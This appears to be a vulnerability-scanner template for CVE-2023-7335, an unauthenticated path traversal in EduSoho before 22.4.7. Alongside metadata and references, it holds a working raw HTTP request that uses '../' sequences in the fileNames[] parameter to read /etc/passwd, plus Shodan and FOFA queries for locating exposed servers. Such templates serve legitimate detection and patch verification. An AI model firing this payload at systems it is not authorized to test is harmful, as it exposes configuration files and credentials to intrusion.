EduSoho < 22.4.7 - Unauthenticated Arbitrary File Read

id: CVE-2023-7335

info:
  name: EduSoho < 22.4.7 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
    EduSoho < 22.4.7 contains a path traversal caused by crafted path traversal sequences in the fileNames[] parameter in classroom-course-statistics export functionality, letting remote unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
    Remote attackers can read arbitrary files including sensitive configuration files, potentially exposing secrets and database credentials.
  remediation: |
    Update to version 22.4.7 or later.
  reference:
    - https://vulncheck.com/advisories/edusoho-arbitrary-file-read-via-classroom-course-statistics
    - https://github.com/gobysec/GobyVuls/blob/master/CNVD-2023-03903.md
    - https://github.com/zeroChen00/exp-poc
    - https://www.cnvd.org.cn/flaw/show/CNVD-2023-03903
    - https://github.com/edusoho/edusoho/releases/tag/v22.4.7
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7335
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2023-7335
    epss-score: 0.00756
    epss-percentile: 0.55477
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: edusoho
    product: edusoho
    shodan-query: title:"Powered By EduSoho"
    fofa-query: body="Powered By EduSoho"
  tags: cve,cve2023,edusoho,lfi,traversal,unauth,vkev,cnvd

http:
  - raw:
      - |
        GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "csv")'
          - 'contains(body, "root:x:0:0:")'
        condition: and